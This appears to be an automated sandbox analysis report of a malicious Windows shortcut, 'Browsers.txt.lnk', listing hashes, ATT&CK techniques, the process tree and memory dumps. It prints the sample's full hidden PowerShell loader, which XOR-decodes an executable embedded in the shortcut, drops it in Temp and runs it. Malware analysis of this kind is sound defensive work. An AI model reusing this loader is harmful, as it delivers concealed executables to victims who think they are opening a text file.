ad2c2d0ceba543871fede2eb84d4ffb5901b5848f125840c259a74402d799268

Analysis

max time kernel
94s
max time network
203s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
29-12-2024 06:39

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General

Target

Browsers.txt.lnk
Size

1.1MB
MD5

f633c0331190af42493e0bd861853bbe
SHA1

e51a46951bb42d8ea12e6d86c075d30c9b95b160
SHA256

273a75ba90251e317ed6291e6d4e31f80ce006e81bdc6582a4988078dc5610ef
SHA512

35a59bd65dfb15f7412904cc41f1d2eae39e5d15ce9963ff9251584d9b642060dcdf6c3b74f9ba358922d2a0b0baa04887697f4ed8e48bfeb7b2fe98e9861cc9
SSDEEP

24576:BqdCjhtTdvhtTdvhtTdvhtTdvhtTdvhr8k:7htTdvhtTdvhtTdvhtTdvhtTdvhQk

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1416	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1416	powershell.exe
1416	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1416	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3380 wrote to memory of 4080	3380	cmd.exe	85
PID 3380 wrote to memory of 4080	3380	cmd.exe	85
PID 4080 wrote to memory of 1416	4080	cmd.exe	86
PID 4080 wrote to memory of 1416	4080	cmd.exe	86

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Browsers.txt.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3380
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c powershell -windowstyle hidden $lnkpath = Get-ChildItem *.lnk ^| where-object {$_.length -eq 0x00117926} ^| Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x33 }; $path = 'C:\Users\Admin\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file ^| select -Skip 002838)) -Encoding Byte; ^& $path;
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4080
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -windowstyle hidden $lnkpath = Get-ChildItem *.lnk | where-object {$_.length -eq 0x00117926} | Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x33 }; $path = 'C:\Users\Admin\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file | select -Skip 002838)) -Encoding Byte; & $path;
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1416

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qfq1wwbf.hfn.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1416-0-0x00007FFE0B013000-0x00007FFE0B015000-memory.dmp

Filesize
8KB

Download
memory/1416-6-0x00000211F1830000-0x00000211F1852000-memory.dmp

Filesize
136KB

Download
memory/1416-11-0x00007FFE0B010000-0x00007FFE0BAD1000-memory.dmp

Filesize
10.8MB

Download
memory/1416-12-0x00007FFE0B010000-0x00007FFE0BAD1000-memory.dmp

Filesize
10.8MB

Download
memory/1416-13-0x00007FFE0B013000-0x00007FFE0B015000-memory.dmp

Filesize
8KB

Download
memory/1416-14-0x00007FFE0B010000-0x00007FFE0BAD1000-memory.dmp

Filesize
10.8MB

Download
memory/1416-15-0x00007FFE0B010000-0x00007FFE0BAD1000-memory.dmp

Filesize
10.8MB

Download